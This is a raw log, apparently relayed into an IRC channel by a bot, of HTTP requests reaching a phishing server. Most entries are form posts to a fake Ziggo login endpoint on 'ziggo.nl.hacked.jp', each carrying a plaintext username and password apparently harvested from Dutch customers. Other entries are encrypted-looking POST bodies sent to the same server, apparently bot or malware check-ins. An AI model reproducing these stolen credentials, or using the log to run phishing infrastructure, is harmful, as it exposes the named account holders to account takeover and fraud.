  829. [01:11] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
  830. [01:11] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  831. [01:11] <HTTP> Content-Length: 106
  832. [01:11] <HTTP> Accept-Language: nl-nl
  833. [01:11] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Jolan62&userId=Jolan62&password=fcdenbisch&button=
  834. [01:43] <HTTP> Socket initiated: 94.210.39.182
  835. [01:43] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  836. [01:43] <HTTP> Host: ziggo.nl.hacked.jp
  837. [01:43] <HTTP> Connection: keep-alive
  838. [01:43] <HTTP> Content-Length: 116
  839. [01:43] <HTTP> Cache-Control: max-age=0
  840. [01:43] <HTTP> Origin: http://219.93.200.189
  841. [01:43] <HTTP> Upgrade-Insecure-Requests: 1
  842. [01:43] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  843. [01:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  844. [01:43] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  845. [01:43] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  846. [01:43] <HTTP> Accept-Encoding: gzip, deflate
  847. [01:43] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  848. [01:43] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=cevat1964&userId=cevat1964&password=Patricia%4010964&button=
  849. [01:43] <HTTP> Socket initiated: 217.105.181.168
  850. [01:44] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  851. [01:44] <HTTP> Host: ziggo.nl.hacked.jp
  852. [01:44] <HTTP> Connection: keep-alive
  853. [01:44] <HTTP> Content-Length: 116
  854. [01:44] <HTTP> Cache-Control: max-age=0
  855. [01:44] <HTTP> Origin: http://219.93.200.189
  856. [01:44] <HTTP> Upgrade-Insecure-Requests: 1
  857. [01:44] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  858. [01:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  859. [01:44] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  860. [01:44] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  861. [01:44] <HTTP> Accept-Encoding: gzip, deflate
  862. [01:44] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  863. [01:44] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Marinuskoolen&userId=Marinuskoolen&password=Svgodn99&button=
  864. [01:47] <HTTP> Socket initiated: 94.210.39.182
  865. [01:47] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  866. [01:47] <HTTP> Host: ziggo.nl.hacked.jp
  867. [01:47] <HTTP> Connection: keep-alive
  868. [01:47] <HTTP> Content-Length: 116
  869. [01:47] <HTTP> Cache-Control: max-age=0
  870. [01:47] <HTTP> Origin: http://219.93.200.189
  871. [01:47] <HTTP> Upgrade-Insecure-Requests: 1
  872. [01:47] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  873. [01:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  874. [01:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  875. [01:47] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  876. [01:47] <HTTP> Accept-Encoding: gzip, deflate
  877. [01:47] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  878. [01:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Cevat1964&userId=Cevat1964&password=Patricia%4010964&button=
  879. [01:47] <HTTP> Socket initiated: 94.210.39.182
  880. [01:47] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  881. [01:47] <HTTP> Host: ziggo.nl.hacked.jp
  882. [01:47] <HTTP> Connection: keep-alive
  883. [01:47] <HTTP> Content-Length: 113
  884. [01:47] <HTTP> Cache-Control: max-age=0
  885. [01:47] <HTTP> Origin: http://219.93.200.189
  886. [01:47] <HTTP> Upgrade-Insecure-Requests: 1
  887. [01:47] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  888. [01:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  889. [01:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  890. [01:47] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  891. [01:47] <HTTP> Accept-Encoding: gzip, deflate
  892. [01:47] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  893. [01:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=cevat1964&userId=cevat1964&password=Patricia10963&button=
  894. [01:48] <HTTP> Socket initiated: 84.105.198.120
  895. [01:48] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  896. [01:48] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  897. [01:48] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  898. [01:48] <HTTP> Accept-Language: nl-NL,nl;q=0.5
  899. [01:48] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
  900. [01:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  901. [01:48] <HTTP> Accept-Encoding: gzip, deflate
  902. [01:48] <HTTP> Host: ziggo.nl.hacked.jp
  903. [01:48] <HTTP> Content-Length: 106
  904. [01:48] <HTTP> Connection: Keep-Alive
  905. [01:48] <HTTP> Cache-Control: no-cache
  906. [01:48] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=K.Janson&userId=K.Janson&password=K2J3a0n2&button=
  907. [01:50] <HTTP> Socket initiated: 80.114.47.6
  908. [01:50] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  909. [01:50] <HTTP> Host: ziggo.nl.hacked.jp
  910. [01:50] <HTTP> Connection: keep-alive
  911. [01:50] <HTTP> Content-Length: 106
  912. [01:51] <HTTP> Cache-Control: max-age=0
  913. [01:51] <HTTP> Origin: http://219.93.200.189
  914. [01:51] <HTTP> Upgrade-Insecure-Requests: 1
  915. [01:51] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-T533 Build/LMY47X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/51.0.2704.81 Safari/537.36
  916. [01:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  917. [01:51] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  918. [01:51] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  919. [01:51] <HTTP> Accept-Encoding: gzip, deflate
  920. [01:51] <HTTP> Accept-Language: nl-NL,en-US;q=0.8
  921. [01:51] <HTTP> X-Requested-With: com.cleanmaster.security
  922. [01:51] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=boudette&userId=boudette&password=jhjb4851&button=
  923. [01:54] <HTTP> Socket initiated: 91.230.47.3
  924. [01:54] <HTTP> GET / HTTP/1.0
  925. [01:54] <HTTP> Connection: close
  926. 02[01:58] * independent (independen@Owner.home-unix.com) Quit (Read error)
  927. [01:59] <HTTP> Socket initiated: 84.25.31.52
  928. [01:59] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  929. [01:59] <HTTP> Host: ziggo.nl.hacked.jp
  930. [01:59] <HTTP> Connection: keep-alive
  931. [01:59] <HTTP> Content-Length: 111
  932. [01:59] <HTTP> Cache-Control: max-age=0
  933. [01:59] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  934. [02:00] <HTTP> Origin: http://219.93.200.189
  935. [02:00] <HTTP> Upgrade-Insecure-Requests: 1
  936. [02:00] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-G903F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.0 Chrome/44.0.2403.133 Mobile Safari/537.36
  937. [02:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  938. [02:00] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  939. [02:00] <HTTP> Accept-Encoding: gzip, deflate
  940. [02:00] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  941. [02:00] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Snoepie18&userId=Snoepie18&password=Fellow-2013&button=
  942. [02:01] <HTTP> Socket initiated: 79.101.221.119
  943. [02:02] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  944. [02:02] <HTTP> Host: ziggo.nl.hacked.jp
  945. [02:02] <HTTP> Connection: keep-alive
  946. [02:02] <HTTP> Content-Length: 135
  947. [02:02] <HTTP> Cache-Control: max-age=0
  948. [02:02] <HTTP> Origin: http://219.93.200.189
  949. [02:02] <HTTP> Upgrade-Insecure-Requests: 1
  950. [02:02] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  951. [02:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  952. [02:02] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  953. [02:02] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  954. [02:02] <HTTP> Accept-Encoding: gzip, deflate
  955. [02:02] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  956. [02:02] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=savicnena%40ziggo.nl&userId=savicnena%40ziggo.nl&password=Savicnena1969&button=
  957. [02:03] <HTTP> Socket initiated: 94.209.63.238
  958. [02:03] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  959. [02:03] <HTTP> Host: ziggo.nl.hacked.jp
  960. [02:03] <HTTP> Connection: keep-alive
  961. [02:03] <HTTP> Content-Length: 115
  962. [02:03] <HTTP> Cache-Control: max-age=0
  963. [02:03] <HTTP> Origin: http://219.93.200.189
  964. [02:03] <HTTP> Upgrade-Insecure-Requests: 1
  965. [02:03] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-N910F Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  966. [02:03] <HTTP> Content-Type: application/x-www-form-urlencoded
  967. [02:03] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  968. [02:03] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  969. [02:03] <HTTP> Accept-Encoding: gzip, deflate
  970. [02:03] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  971. [02:03] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Petraouwehand&userId=Petraouwehand&password=visenzo&button=
  972. [02:05] <HTTP> Socket initiated: 80.113.211.51
  973. [02:05] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  974. [02:05] <HTTP> Host: ziggo.nl.hacked.jp
  975. [02:05] <HTTP> Connection: keep-alive
  976. [02:05] <HTTP> Content-Length: 115
  977. [02:05] <HTTP> Cache-Control: max-age=0
  978. [02:05] <HTTP> Origin: http://219.93.200.189
  979. [02:05] <HTTP> Upgrade-Insecure-Requests: 1
  980. [02:05] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  981. [02:05] <HTTP> Content-Type: application/x-www-form-urlencoded
  982. [02:05] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  983. [02:05] <HTTP> DNT: 1
  984. [02:05] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  985. [02:05] <HTTP> Accept-Encoding: gzip, deflate
  986. [02:05] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  987. [02:05] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Gert.verhage&userId=Gert.verhage&password=Vergeten1&button=
  988. [02:07] <HTTP> Socket initiated: 106.75.10.72
  989. [02:07] <HTTP> GET / HTTP/1.0
  990. [02:07] <HTTP> Host: 172.86.120.218:80
  991. [02:15] <HTTP> Socket initiated: 89.200.6.212
  992. [02:15] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  993. [02:15] <HTTP> Host: ziggo.nl.hacked.jp
  994. [02:15] <HTTP> Connection: keep-alive
  995. [02:15] <HTTP> Content-Length: 120
  996. [02:15] <HTTP> Cache-Control: max-age=0
  997. [02:15] <HTTP> Origin: http://219.93.200.189
  998. [02:15] <HTTP> Upgrade-Insecure-Requests: 1
  999. [02:15] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; F5121 Build/34.2.A.2.47) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  1000. [02:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  1001. [02:15] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1002. [02:15] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1003. [02:15] <HTTP> Accept-Encoding: gzip, deflate
  1004. [02:15] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1005. [02:15] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=mdob%40ziggo.nl&userId=mdob%40ziggo.nl&password=jek8drta&button=
  1006. [02:19] <HTTP> Socket initiated: 93.41.104.77
  1007. [02:19] <HTTP> POST / HTTP/1.1
  1008. [02:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  1009. [02:19] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
  1010. [02:19] <HTTP> Host: 172.86.120.218
  1011. [02:19] <HTTP> Content-Length: 352
  1012. [02:19] <HTTP> Cache-Control: no-cache
  1013. [02:19] <HTTP> VF27ziERBLAVT6O5zJb2NIin7akfpMoKf46T5braURPxM5GTjuqiOK+Jzi84PWGa0alV7xSR+0VF4EFxP5VFgPTvc5BjrtFjcBi+wKRwf1wJ6XEA/xidt3JNWoFRNvKCYU8Zlgr8Xqd/UzEesUs4bEBUBvn21kZbhSm2dvBydlWtxGFbQMpMg+eeeoFTfkx3uW4pWXWoNI/v83i/ZvuqbCyre2J2cXFJDxDiC1Re3MkY9lGwn1Uy/IZJBT+N23NSeu10/x6nagfd3JFp1O6QZV5ZGaGj5sUaaaLjfvn88W+1qDWRMLyXynuBsurgZexKqAQeE8nChmp66YAMnzEPrYaEWoYNOE/b
  1014. [02:20] <HTTP> Socket initiated: 79.101.221.119
  1015. [02:20] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1016. [02:20] <HTTP> Host: ziggo.nl.hacked.jp
  1017. [02:20] <HTTP> Connection: keep-alive
  1018. [02:20] <HTTP> Content-Length: 113
  1019. [02:20] <HTTP> Cache-Control: max-age=0
  1020. [02:20] <HTTP> Origin: http://219.93.200.189
  1021. [02:20] <HTTP> Upgrade-Insecure-Requests: 1
  1022. [02:20] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1023. [02:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  1024. [02:20] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1025. [02:20] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1026. [02:20] <HTTP> Accept-Encoding: gzip, deflate
  1027. [02:20] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1028. [02:20] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=savicnena&userId=savicnena&password=Savicnena1960&button=
  1029. [02:21] <HTTP> Socket initiated: 93.41.104.77
  1030. [02:21] <HTTP> POST / HTTP/1.1
  1031. [02:21] <HTTP> Content-Type: application/x-www-form-urlencoded
  1032. [02:21] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
  1033. [02:21] <HTTP> Host: 172.86.120.218
  1034. [02:21] <HTTP> Content-Length: 432
  1035. [02:21] <HTTP> Cache-Control: no-cache
  1036. [02:21] <HTTP> Ug7nzyIVVbdThcTNjGQMPZBayL85a15/nicPRX6WWootx/a+w9dV/o51o6dHShK3sPmmSdj+GXm84/nTr1AfMJFu2s4Kb3Sfekkx6AfA2qJn3X7ZYnC5TVfC9WSpWzbIuqyETumovNl3VS6FyVYdiqAEPUrhzUn5PERPn7ufz8kfVWc7KS7uhecu8XzVhOUHUHagJTnLASYaxI83Slcs2OeKqpzRmDN/EuYh0zf5HNGmIQkHZ3d7o0UNdkOB/MXiuMqnDVvQEYx+o2qQkd4UTg4RTNNn98SzEA0Ctd1fmw4xp+NRq/4tFjrzbNd7EHuVKlpxDfSWEPkK8ECmbo/ftO9O4UFa4HqPm7VqyUXF6UY4GsgVxcje/GFlU8QZjdhuXPn7qP8oH4eZz5
  1037. [02:21] <HTTP> 6hhjpM8SCRCAr+k2gQX96A8gsayqLx0i+Q
  1038. [02:21] <HTTP> Socket initiated: 84.27.102.173
  1039. [02:21] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1040. [02:21] <HTTP> Host: ziggo.nl.hacked.jp
  1041. [02:21] <HTTP> Content-Type: application/x-www-form-urlencoded
  1042. [02:21] <HTTP> Origin: http://219.93.200.189
  1043. [02:21] <HTTP> Accept-Encoding: gzip, deflate
  1044. [02:21] <HTTP> Connection: keep-alive
  1045. [02:21] <HTTP> Upgrade-Insecure-Requests: 1
  1046. [02:21] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  1047. [02:21] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  1048. [02:21] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1049. [02:21] <HTTP> Content-Length: 106
  1050. [02:21] <HTTP> Accept-Language: nl-nl
  1051. [02:22] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Swsmeets&userId=Swsmeets&password=Willem88&button=
  1052. [02:23] <HTTP> Socket initiated: 93.41.104.77
  1053. [02:23] <HTTP> POST / HTTP/1.1
  1054. [02:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  1055. [02:23] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1056. [02:23] <HTTP> Host: 172.86.120.218
  1057. [02:23] <HTTP> Content-Length: 356
  1058. [02:23] <HTTP> Cache-Control: no-cache
  1059. [02:23] <HTTP> AFy3mHAQUBBQU21+0Nfr44EDgGgDhwh3kp3brH0vuK0JAXA+dOUFsXe6Dh1hTj+PtMzrjSKfiVzZf9aHECjOEgH4M5vFU30Fghf0Rl+e4UJFHL9+E47/OgleVctrA+YQ0TeolyWru81YQ4sOvEcl14uqgg16RS3zRnhXpjRnYZyqt7/iop+bFzgvPqUKTNvnSjQ9uGa/A9dWVg0jTl3JiRprWPyMkj1lj2zeybrb77r5ico6VOsDiNiryJpWGAojwwe1KhrgmhO9L3nCglqwC1zl/3gkeYAFE9uHgF0vTw8qkkX4eEsrUnFvm/hFu4dlvYc7K8cpDfjhzAx728DzU2ibBrMfRYRdoTE=
  1060. [02:25] <HTTP> Socket initiated: 93.41.104.77
  1061. [02:25] <HTTP> POST / HTTP/1.1
  1062. [02:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  1063. [02:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1064. 03[02:25] * independent (independen@Owner.home-unix.com) has joined ##ss
  1065. [02:25] <HTTP> Host: 172.86.120.218
  1066. [02:25] <HTTP> Content-Length: 368
  1067. [02:25] <HTTP> Cache-Control: no-cache
  1068. [02:25] <HTTP> VlK6niZCV6ABTUAuJoQTvX8nHQwJeUl66Fg8so3512fx3vkbBq0u0FXmok6Zz0RnAylDGer/+Bt39x3bUUO4oNqYE104lsjhDOcGz/knfIvxDLR7w5oLYG+TPzwHlHIfwXg1IFe8/QXdhwqDoYeNwJWjC8kqxou9fhGXyXEL1wq2nTDQ9E8uOVcY+MAAwqC/8U1KZ/ScbkiyqsX01QJ0PFp3XQBD7nvc7EXH6nomG6PQaOFoBVNXf44gnCh9ZkPMZyvWOFhZn5YnpefI5M8vvFGD/jlejyoTvwBS/l2PRM9lUK0k53OHDQgMfVAumpR5fcKkBvgmA5CuFJdZ4uhFmyjqaOnRAm7oUSpa8A1xoV8oizKx
  1069. [02:27] <HTTP> Socket initiated: 93.41.104.77
  1070. [02:27] <HTTP> POST / HTTP/1.1
  1071. [02:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  1072. [02:27] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1073. [02:27] <HTTP> Host: 172.86.120.218
  1074. [02:27] <HTTP> Content-Length: 392
  1075. [02:27] <HTTP> Cache-Control: no-cache
  1076. [02:27] <HTTP> Awi0zXYSVul9iy+UMotT3J+sODPFdJCni29cPfcMcYoaPMrlv2dAu+bKFeVIA9SIArHsN9iH9rgLxG5H+5oD8LYxCUHuPMkQB51D0SA0+6z/W55CA6hTJhKVdIhyY7sK2rK/ozL2fP25YAsa12omIu00sd/sl6EIe4vhr1XQf24bkFvCBMZGTblSgOJjgFBZZgtUOKnnlK66uwIC1sfgXHYM6ZN/pygKMHodYiWh7b+XmgnCGuRGJlW6SkZhwFhx2D0JU4gxcYh0u25p3vlSFT4ZY9X7eVICl7VkCa3PvHW1R/2+vrNNyGwzhQ9XFL4zI/ZZ5YnNBV6H07fmRo2OBztMHHC4necvz/ovEl8YvuSKKRaim/Umizzi4DvgtmCoRn8Ppw==
  1077. [02:29] <HTTP> Socket initiated: 93.41.104.77
  1078. [02:29] <HTTP> POST / HTTP/1.1
  1079. [02:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  1080. [02:29] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1081. [02:29] <HTTP> Host: 172.86.120.218
  1082. [02:29] <HTTP> Content-Length: 412
  1083. [02:29] <HTTP> Cache-Control: no-cache
  1084. [02:29] <HTTP> AlqzxXATVSxin82yTX37Ebe5cFQCLC1/rhKnqZs2t8vfuGhxEW90lUSdgUEbJ8i6el1AIVqlFTkOIp9360PAnJ8N98lzGW3nZMS9+zy0lsboDnTCv5Xi7dLy7diWE0h7XUBMGmFV6bAJCiobF+DCdgQd2wyQh2Jl+tG5g5TH46ALn5j8W7YZAd3vGM4keP6I9rdZAfIwH3cf6+28EVEJLfKSrwwQmH1uVbOMAGxBNzCAPrLgWmjWBMYUXJmxnPgqUIrggGif4eyQUhP4RNdFQ4wJhJOCMRlQseBrwInaKW3hQQAHzt8Ul8wBYRjj7JhI/eMobqixEiIe/WKJ4K0QSKLXBPLQCCIzLs2zlbc0IYonrbqKKcEiRJ6+JkGkqwQnIBg4dmG0grZhJ9
  1085. [02:29] <HTTP> 6TvZUbd0u5Ig==
  1086. [02:31] <HTTP> Socket initiated: 93.41.104.77
  1087. [02:31] <HTTP> Socket initiated: 52.77.255.151
  1088. [02:31] <HTTP> POST / HTTP/1.1
  1089. [02:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  1090. [02:31] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1091. [02:31] <HTTP> Host: 172.86.120.218
  1092. [02:31] <HTTP> Content-Length: 384
  1093. [02:31] <HTTP> Cache-Control: no-cache
  1094. [02:31] <HTTP> VA3kxSFFVEtHckxsfEeKODYNM0DsdIv0/H6ckGIJHCP1RwehXqLgDTu5j+XirjvmZgOOiUXJryY0kxxuTUT/rM9Yc3lkgEu/fx2WM2JU/b54phE9nILoc/SYnqT3F2H68yvoODjQcF3HUuPSJpSl5k2V8kiFnULKBlHlwoVOGOuYk6ZmBNEVtYiH9tLcT3JrCe7bRdQ2NUxtJCD6NmQKbrDQ8ZQlUdKBh25SUxJFQkTD3r87uCqTcTxuxM4wkSRWRNYB2C4Ujo/Ly3ODHwH37opQ02Qar9k2EmHE7gtWob1PPajc4UTJ2+6sj3icjYakrebukqYP+TwjXwIq6nt/lnXD1T2dln2Y/roXXlImMs+DiBn0nnGNuBvs5uwyPEw=GET / HTTP/1.1
  1095. [02:31] <HTTP> Host: 172.86.120.218
  1096. [02:31] <HTTP> User-Agent: Mozilla/5.0 zgrab/0.x
  1097. [02:31] <HTTP> Accept-Encoding: gzip
  1098. [02:33] <HTTP> Socket initiated: 93.41.104.77
  1099. [02:33] <HTTP> POST / HTTP/1.1
  1100. [02:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  1101. [02:33] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1102. [02:33] <HTTP> Host: 172.86.120.218
  1103. [02:33] <HTTP> Content-Length: 416
  1104. [02:33] <HTTP> Cache-Control: no-cache
  1105. [02:33] <HTTP> CA26y30RUKhY9EhxjhszXbX9MOdboA+IKvtalK434JOs5Vo3QkSiEOngxxqmqdEqdIrFPGqj9OEOnmBdQKvJfJeY6i1+4puO6QuVuL7nEH9QrqLKwxAX3u4j2VuGISBywEaPj9/p8ozqMb1X7n2XdbDT2qDZ9xa1dYxtmpi/yNsPga3WZDRm0uametBqFDO5tgxlZ4IbsrW6vi98cHODxqMAhim+nnAx7fH4RsorNJ49Sm/FsieCO2+MEW4pXEpx9FvLTklQ9qMHrpAVPw6IghLenbM16gHS22QbnFrYnsgI2ARzf0uzM486rQSSDiof+7Q0jpxjbGqqHnTzkCMgnCyvF3mT5tYPZOw3trH10POTciY4X6Z2LKrEzYbL+UdvwRpDgMSTQoaU7g
  1106. [02:33] <HTTP> stucSA/ojbvJMMqQ==
  1107. [02:35] <HTTP> Socket initiated: 93.41.104.77
  1108. [02:35] <HTTP> POST / HTTP/1.1
  1109. [02:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  1110. [02:35] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1111. [02:35] <HTTP> Host: 172.86.120.218
  1112. [02:35] <HTTP> Content-Length: 392
  1113. [02:35] <HTTP> Cache-Control: no-cache
  1114. [02:35] <HTTP> UlyzyHETVu8Nd7AU7Yv3eRxPEaYukgrSAzsxv8OKacbMG9df96BiD130DyQvJlSEBVK/nE07egxPQKYCNre8oxc2Oq06hkwVTEQV6ZiXOLU7SZDXOK3rllTDLHmE/VY3AMXkgfqOkmbycxrRnDmp61z5jTBYPAPXS1k8XcYLtnAAtdyZKrva4+JJrXhX3942xawv19l4UqZT9XRmYKxA1aQUFr7vcLkBLWc3X3gu48zpyE34R9Aa2h958sPjMNw7wXUVmYxcI7Vv8TLO1locyGM0y5RKUWZtCC9uXhCuOgrNeNtCQN9b8vbSDdNP/4TiYc9XobnlTfPigaEnH9hvzESGhG0rks8TVNWmhZotf4wmzBwD7eKooWI0LAlr51fHXtwkk8A=
  1115. [02:36] <HTTP> Socket initiated: 84.104.18.145
  1116. [02:36] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1117. [02:36] <HTTP> Host: ziggo.nl.hacked.jp
  1118. [02:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  1119. [02:36] <HTTP> Origin: http://219.93.200.189
  1120. [02:36] <HTTP> Accept-Encoding: gzip, deflate
  1121. [02:36] <HTTP> Connection: keep-alive
  1122. [02:36] <HTTP> Upgrade-Insecure-Requests: 1
  1123. [02:36] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
